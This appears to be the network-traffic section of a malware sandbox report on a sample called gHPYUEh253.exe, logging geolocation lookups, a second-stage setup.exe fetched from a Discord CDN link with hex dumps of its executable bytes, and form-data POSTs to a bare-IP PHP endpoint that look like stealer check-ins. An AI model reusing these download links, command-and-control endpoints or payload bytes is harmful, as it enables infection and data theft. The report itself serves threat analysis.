Aug 30, 2024 06:18:37.629997015 CEST	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------EBFHJEGDAFHIJK
Aug 30, 2024 06:18:38.240886927 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49811	193.176.190.41	80	8188	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:18:41.590811014 CEST	473	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH Host: 193.176.190.41 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIJJDGHJKKJEBFHJDBGH--
Aug 30, 2024 06:18:42.491309881 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.26.8.59	443	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:16:57 UTC	201	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: api.myip.com
2024-08-30 04:16:57 UTC	567	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTehO4%2B8uXnJ72lWyFnk1NjggQSoidgdXxNRW5tJ5wmOL89AH6PoIF42MgIodYfxtSTgznPc8bj9xeb%2BsxoHxjiY1AxahAXKz9W0wErlIwLn4gh%2BolzSky8Pd9D%2FPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb1f7e90e5642b8-EWR
2024-08-30 04:16:57 UTC	62	IN	Data Raw: 33 38 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 63 22 3a 22 55 53 22 7d 0d 0a Data Ascii: 38{"ip":"8.46.123.33","country":"United States","cc":"US"}
2024-08-30 04:16:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	34.117.59.81	443	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:16:58 UTC	250	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: ipinfo.io
2024-08-30 04:16:58 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Fri, 30 Aug 2024 04:16:58 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-30 04:16:58 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-08-30 04:16:58 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	162.159.130.233	443	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:03 UTC	373	OUT	HEAD /attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8& HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: cdn.discordapp.com Connection: Keep-Alive
2024-08-30 04:17:03 UTC	1193	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: application/x-msdos-program Content-Length: 7652687 Connection: close CF-Ray: 8bb1f80bb83b78e7-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="setup.exe" ETag: "298d76769c9380c435fd4e43ac256e55" Expires: Sat, 30 Aug 2025 04:17:03 GMT Last-Modified: Fri, 30 Aug 2024 03:06:35 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1724987195651811 x-goog-hash: crc32c=fr/TGw== x-goog-hash: md5=KY12dpyTgMQ1/U5DrCVuVQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 7652687 x-guploader-uploadid: AHxI1nOEMJHPhyAquvgxSKZiwQcpGGdbe3hBwQNrvh4wtSG7nmCmJ6TTdv9p9eRtQnBWS6_hJA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=pB2MT2JuBndTZDj6v.t1PeF7NRT.1Ec8C.VYCE1QTbQ-1724991423-1.0.1.1-nvVgJ_bCh6CJkxWChpBR1EPio68VxhcDofH2OFaFGHc3mz25sVP8cQmLYvg3Zg_kJ.QlXzlQEyi5j4.0c3o7DA; path=/; expires=Fri, 30-Aug-24 04:47:03 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
2024-08-30 04:17:03 UTC	525	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 73 25 32 46 54 25 32 46 45 42 64 52 4d 33 43 34 25 32 46 35 61 77 71 56 6d 4f 69 74 61 4f 4e 45 4b 59 6c 53 6d 41 68 49 74 48 46 37 48 38 25 32 46 56 75 6b 52 65 6c 50 6e 47 4d 32 70 49 59 49 62 25 32 42 5a 43 6e 65 6a 33 58 53 57 77 4b 33 63 30 48 44 63 6f 57 25 32 46 35 42 65 31 74 49 56 58 59 67 43 53 46 44 78 35 73 42 62 63 76 6a 36 25 32 46 46 71 45 75 5a 58 47 31 4d 52 69 4a 54 51 4b 69 6b 53 56 78 5a 66 55 72 6c 58 43 55 6c 25 32 42 51 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s%2FT%2FEBdRM3C4%2F5awqVmOitaONEKYlSmAhItHF7H8%2FVukRelPnGM2pIYIb%2BZCnej3XSWwK3c0HDcoW%2F5Be1tIVXYgCSFDx5sBbcvj6%2FFqEuZXG1MRiJTQKikSVxZfUrlXCUl%2BQA%3D%3D"}],"group":"cf-nel",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	76.76.21.123	443	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:03 UTC	215	OUT	GET /ffernifre.exes HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: file-link-iota.vercel.app Cache-Control: no-cache
2024-08-30 04:17:03 UTC	363	IN	HTTP/1.1 404 Not Found Cache-Control: public, max-age=0, must-revalidate Content-Length: 39 Content-Type: text/plain; charset=utf-8 Date: Fri, 30 Aug 2024 04:17:03 GMT Server: Vercel Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Vercel-Error: NOT_FOUND X-Vercel-Id: iad1::lktx8-1724991423607-15b9d41d3a8a Connection: close
2024-08-30 04:17:03 UTC	39	IN	Data Raw: 54 68 65 20 70 61 67 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 0a 0a 4e 4f 54 5f 46 4f 55 4e 44 0a Data Ascii: The page could not be foundNOT_FOUND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	162.159.130.233	443	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:04 UTC	624	OUT	GET /attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8& HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: cdn.discordapp.com Connection: Keep-Alive Cookie: __cf_bm=pB2MT2JuBndTZDj6v.t1PeF7NRT.1Ec8C.VYCE1QTbQ-1724991423-1.0.1.1-nvVgJ_bCh6CJkxWChpBR1EPio68VxhcDofH2OFaFGHc3mz25sVP8cQmLYvg3Zg_kJ.QlXzlQEyi5j4.0c3o7DA; _cfuvid=UQbDXpXr6y2IFF9kS_mNS9kTpCWZzP9nljQlF0J4nhw-1724991423373-0.0.1.1-604800000
2024-08-30 04:17:04 UTC	1287	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:04 GMT Content-Type: application/x-msdos-program Content-Length: 7652687 Connection: close CF-Ray: 8bb1f81139cd4246-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 1 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="setup.exe" ETag: "298d76769c9380c435fd4e43ac256e55" Expires: Sat, 30 Aug 2025 04:17:04 GMT Last-Modified: Fri, 30 Aug 2024 03:06:35 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1724987195651811 x-goog-hash: crc32c=fr/TGw== x-goog-hash: md5=KY12dpyTgMQ1/U5DrCVuVQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 7652687 x-guploader-uploadid: AHxI1nOEMJHPhyAquvgxSKZiwQcpGGdbe3hBwQNrvh4wtSG7nmCmJ6TTdv9p9eRtQnBWS6_hJA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5C0F%2BTUrLZ%2Fu7UoEPAxuluv3U0PXF2Baa0gvWqU%2Fcr6OOqbwfkK5l4mBN%2Brt2S%2BXbCj7tQqFOVqNsa0JOjYVEKTZEw%2F84gog45KFHTyeSxTjeIMhPGHkJKKfnf1GydCLcaJTpQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-08-30 04:17:04 UTC	82	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd e1 1d 57 99 80 73 04 99 80 73 04 99 80 73 04 1a 9c 7d 04 80 80 73 04 af a6 79 04 d9 80 73 04 17 88 2c 04 98 80 73 04 99 80 72 04 21 80 73 04 1a 88 2e 04 90 80 73 04 af a6 78 04 d4 80 73 04 f6 f6 d9 04 9e 80 73 04 f6 f6 ed 04 98 80 73 04 5e 86 75 04 98 80 73 04 52 69 63 68 99 80 73 04 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f7 53 e5 4c 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 9a 01 00 00 b0 00 00 00 00 00 00 04 4b 01 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 Data Ascii: program cannot be run in DOS mode.$Wsss}sys,sr!s.sxsss^usRichsPELSLK@
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: d1 0a 00 00 57 8d 4d cc 89 5d cc 89 5d d0 89 5d d4 e8 af 0f 00 00 39 5d ac c6 85 2c ff ff ff 01 0f 84 e0 02 00 00 8d 8d 54 ff ff ff e8 79 0f 00 00 bf 34 b3 41 00 8d 95 54 ff ff ff 8d 4d a8 89 bd 54 ff ff ff e8 65 2b 00 00 84 c0 75 19 38 5d 0b 75 0c ba 20 02 42 00 33 c9 e8 89 fe 00 00 6a 01 5b e9 21 01 00 00 68 14 02 42 00 8d 4d f0 e8 61 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 4d c0 e8 42 2e 00 00 ff 75 f0 e8 63 28 00 00 8d 4d f0 c7 04 24 fc 01 42 00 e8 38 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 4d d8 e8 19 2e 00 00 ff 75 f0 e8 3a 28 00 00 8d 4d f0 c7 04 24 e8 01 42 00 e8 0f 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 8d 20 ff ff ff e8 ed 2d 00 00 ff 75 f0 e8 0e 28 00 00 59 ba e0 01 42 00 8b 8d 20 ff ff ff e8 b0 28 00 00 85 c0 75 06 88 9d 2c ff ff ff 68 Data Ascii: WM]]]9],Ty4ATMTe+u8]u B3j[!hBMaETPMB.uc(M$B8ETPM.u:(M$BETP -u(YB (u,h
2024-08-30 04:17:04 UTC	191	IN	Data Raw: 23 00 00 59 e9 a1 01 00 00 8b 85 0c ff ff ff ff 75 d8 89 45 08 e8 7e 23 00 00 ff 75 c0 e8 76 23 00 00 59 e9 2e 02 00 00 39 5d d0 75 56 68 d0 00 42 00 8d 4d cc e8 dd 05 00 00 8d 55 cc 8d 8d 48 ff ff ff e8 cc 02 00 00 8b 08 e8 29 41 00 00 ff b5 48 ff ff ff f6 d8 1a c0 fe c0 88 45 ff e8 35 23 00 00 38 5d ff 59 74 1a 38 5d 0b 0f 85 39 01 00 00 ba a0 00 42 00 33 c9 e8 11 f9 00 00 e9 28 01 00 00 8d 85 3c ff ff ff 8d 4d c0 50 e8 4b 05 00 00 8d 4d c0 e8 6d 45 00 00 68 94 00 42 00 8d 4d f0 e8 d5 04 00 00 8d 45 c0 8d 4d cc 50 8d 45 f0 50 e8 9b 06 00 00 ff 75 f0 e8 d9 22 00 00 Data Ascii: #YuE~#uv#Y.9]uVhBMUH)AHE5#8]Yt8]9B3(<MPKMmEhBMEMPEPu"
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: ff 75 c0 e8 d1 22 00 00 59 59 68 8c 00 42 00 8d 4d f0 e8 a6 04 00 00 8d 85 3c ff ff ff 8d 4d cc 50 8d 45 f0 50 e8 69 06 00 00 ff 75 f0 e8 a7 22 00 00 39 5d e8 59 74 16 6a 20 8d 4d cc e8 b3 05 00 00 8d 45 e4 8d 4d cc 50 e8 d2 05 00 00 8d 45 cc 8d 95 30 ff ff ff 50 8d 8d 48 ff ff ff c7 85 cc fe ff ff 44 00 00 00 89 9d d0 fe ff ff 89 9d d4 fe ff ff 89 9d d8 fe ff ff 89 9d f8 fe ff ff 66 89 9d fe fe ff ff 89 9d 00 ff ff ff e8 df 0d 00 00 8b d0 8d 8d 20 ff ff ff e8 b6 01 00 00 ff b5 48 ff ff ff e8 2f 22 00 00 59 8d 85 10 ff ff ff 50 8d 85 cc fe ff ff 50 53 53 53 53 53 53 ff b5 20 ff ff ff 53 ff 15 8c b0 41 00 85 c0 0f 85 a3 00 00 00 38 5d 0b 75 07 33 c9 e8 84 f8 00 00 ff b5 20 ff ff ff e8 ee 21 00 00 59 ff 75 84 ff d6 ff 75 84 e8 e0 21 00 00 ff b5 3c ff ff ff Data Ascii: u"YYhBM<MPEPiu"9]Ytj MEMPE0PHDf H/"YPPSSSSSS SA8]u3 !Yuu!<
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: 8b ec 51 56 8b f1 57 8b 7d 08 8b 06 33 c9 89 4e 04 89 4d fc 66 89 08 66 39 0f 74 0c 8b c7 ff 45 fc 40 40 66 39 08 75 f6 ff 75 fc 8b ce e8 22 04 00 00 8b 06 66 8b 0f 8d 57 02 66 89 08 40 40 66 85 c9 74 0c 66 8b 0a 66 89 08 40 40 42 42 eb ef 8b 45 fc 5f 89 46 04 8b c6 5e c9 c2 04 00 56 57 8b 7c 24 0c 8b f1 3b fe 74 2b 8b 06 83 66 04 00 66 83 20 00 ff 77 04 e8 d8 03 00 00 8b 0f 8b 06 66 8b 11 66 89 10 40 40 41 41 66 85 d2 75 f1 8b 47 04 89 46 04 8b c6 5f 5e c2 04 00 56 8b f1 6a 01 e8 02 04 00 00 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 56 57 8b 7c 24 0c 8b f1 ff 77 04 e8 d1 03 00 00 8b 46 04 8b 16 8b 0f 8d 04 42 66 8b 11 66 89 10 40 40 41 41 66 85 d2 75 f1 8b 47 04 5f 01 46 04 8b c6 5e c2 04 00 55 8b Data Ascii: QVW}3NMff9tE@@f9uu"fWf@@ftff@@BBE_F^VW\|$;t+ff wff@@AAfuGF_^VjFfT$fAFFf$A^VW\|$wFBff@@AAfuG_F^U
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: 8b 17 8b 5d e4 66 8b 14 10 66 89 14 4b 41 40 40 3b ce 7c ec 8b 45 e4 8b 4d 08 66 83 24 70 00 8d 45 e4 50 89 75 e8 e8 41 fa ff ff ff 75 e4 e8 f4 17 00 00 59 8b 4d f4 8b 45 08 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 0c 00 55 8b ec 8b 45 08 53 56 57 8b 70 04 85 f6 75 05 8b 45 0c eb 4a 8b 51 04 8b 45 0c 3b c2 7d 3d 33 d2 85 f6 7e 27 8d 34 00 8d 3c 02 3b 79 04 7d 1c 8b 7d 08 8b 19 8b 3f 66 8b 1c 1e 66 3b 1c 57 75 0b 8b 7d 08 42 46 46 3b 57 04 7c dc 8b 75 08 8b 76 04 3b d6 74 09 40 3b 41 04 7c c3 83 c8 ff 5f 5e 5b 5d c2 08 00 b8 4c 91 41 00 e8 27 16 01 00 83 ec 0c 8d 45 e8 56 8b f1 50 e8 67 02 00 00 83 65 fc 00 50 8b ce e8 8e 01 00 00 ff 75 e8 e8 4c 17 00 00 59 5e 8b 4d f4 64 89 0d 00 00 00 00 c9 c3 b8 60 91 41 00 e8 ec 15 01 00 83 ec 0c 8d 45 e8 56 8b f1 50 e8 2c Data Ascii: ]ffKA@@;\|EMf$pEPuAuYME_^[dUESVWpuEJQE;}=3~'4<;y}}?ff;Wu}BFF;W\|uv;t@;A\|_^[]LA'EVPgePuLY^Md`AEVP,
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: 8b 46 0c 8d 4d e8 ff 34 b8 e8 07 f6 ff ff 8b 4d e8 e8 b8 21 00 00 6a 5c 8d 4d e8 e8 ca f5 ff ff 47 3b 7e 08 7c da ff 75 e8 e8 a0 12 00 00 59 5f 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c2 04 00 b8 1b 92 41 00 e8 3d 11 01 00 81 ec a0 00 00 00 53 56 8b 75 08 57 8d 8e a8 00 00 00 e8 52 05 00 00 84 c0 74 0a b8 04 40 00 80 e9 9e 04 00 00 8b 46 4c 33 db 3b c3 74 09 8b 08 50 ff 51 08 89 5e 4c 66 89 5d a8 66 89 5d aa 8b 46 0c 8b 7d 0c 8d 55 a8 89 5d fc 8b 08 52 6a 03 57 50 ff 51 18 3b c3 74 04 8b f0 eb 40 6a 03 8d 4d e8 89 5d e8 89 5d ec 89 5d f0 e8 e9 f8 ff ff 66 39 5d a8 c6 45 fc 01 75 0e 8d 46 50 8d 4d e8 50 e8 dd f4 ff ff eb 33 66 83 7d a8 08 74 21 ff 75 e8 e8 ee 11 00 00 59 be 05 40 00 80 83 4d fc ff 8d 4d a8 e8 74 35 00 00 8b c6 e9 13 04 00 00 ff 75 b0 8d 4d e8 Data Ascii: FM4M!j\MG;~\|uY_M^dA=SVuWRt@FL3;tPQ^Lf]f]F}U]RjWPQ;t@jM]]]f9]EuFPMP3f}t!uY@MMt5uM
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: 01 8b 08 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5d c2 0c 00 8b 4c 24 04 ff 49 04 8b 41 04 75 0d 85 c9 74 07 8b 01 6a 01 ff 50 18 33 c0 c2 04 00 56 8b f1 e8 14 00 00 00 f6 44 24 08 01 74 07 56 e8 31 0d 00 00 59 8b c6 5e c2 04 00 c7 01 54 b3 41 00 83 c1 08 e9 f5 2b 00 00 53 56 8b f1 56 ff 15 a0 b0 41 00 8a 5e 18 56 ff 15 9c b0 41 00 8a c3 5e 5b c3 ff 71 28 e8 fa 0c 00 00 59 c3 83 7c 24 08 00 8b 4c 24 04 0f 94 c0 88 41 34 33 c0 c2 08 00 53 33 db 39 5c 24 0c 56 8b 74 24 0c 74 38 8b 46 4c 3b c3 74 09 8b 08 50 ff 51 08 89 5e 4c 8b 44 24 10 48 74 09 c6 86 e0 00 00 00 01 eb 11 ff 35 84 02 42 00 8d 8e e4 00 00 00 e8 24 ef ff ff b8 05 40 00 80 eb 42 39 5e 4c 74 1b 8b 4e 48 8d 46 38 50 83 c1 08 e8 65 2e 00 00 8b 4e 48 e8 f7 37 00 00 3b c3 75 22 8b 46 4c 3b c3 74 09 8b Data Ascii: Q3@]L$IAutjP3VD$tV1Y^TA+SVVA^VA^[q(Y\|$L$A43S39\$Vt$t8FL;tPQ^LD$Ht5B$@B9^LtNHF8Pe.NH7;u"FL;t
2024-08-30 04:17:04 UTC	1369	IN	Data Raw: 10 ff 52 1c ff 75 e4 89 46 60 e8 0d 08 00 00 ff 75 c0 e8 05 08 00 00 59 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c 8b 4c 24 04 89 48 10 c7 00 80 b3 41 00 c2 04 00 56 8b f1 e8 e0 0f 00 00 f6 44 24 08 01 74 07 56 e8 c2 07 00 00 59 8b c6 5e c2 04 00 8b 4c 24 04 e8 05 00 00 00 33 c0 c2 04 00 b8 c4 92 41 00 e8 5b 06 01 00 83 ec 0c 83 65 fc 00 53 56 8b 71 1c 57 83 c6 68 89 65 f0 89 4d ec 89 75 e8 c6 45 fc 01 e8 f8 fd ff ff 80 65 fc 00 8b ce e8 1f 00 00 00 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c3 8b 45 ec c7 40 60 05 40 00 80 b8 26 33 40 00 c3 56 8b f1 8b 4e 3c e8 c0 fe 00 00 33 c0 38 46 38 74 12 50 50 68 01 04 00 00 ff 76 04 ff 15 dc b1 41 00 5e c3 c6 46 39 01 5e c3 8b 09 e9 cf ff ff ff b8 fc 92 41 00 e8 d4 05 01 Data Ascii: RuF`uYYM_^[d3HHHL$HAVD$tVY^L$3A[eSVqWheMuEeM_^d[E@`@&3@VN<38F8tPPhvA^F9^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	188.114.97.3	443	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:14 UTC	201	OUT	GET /1cN8u7 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: yip.su
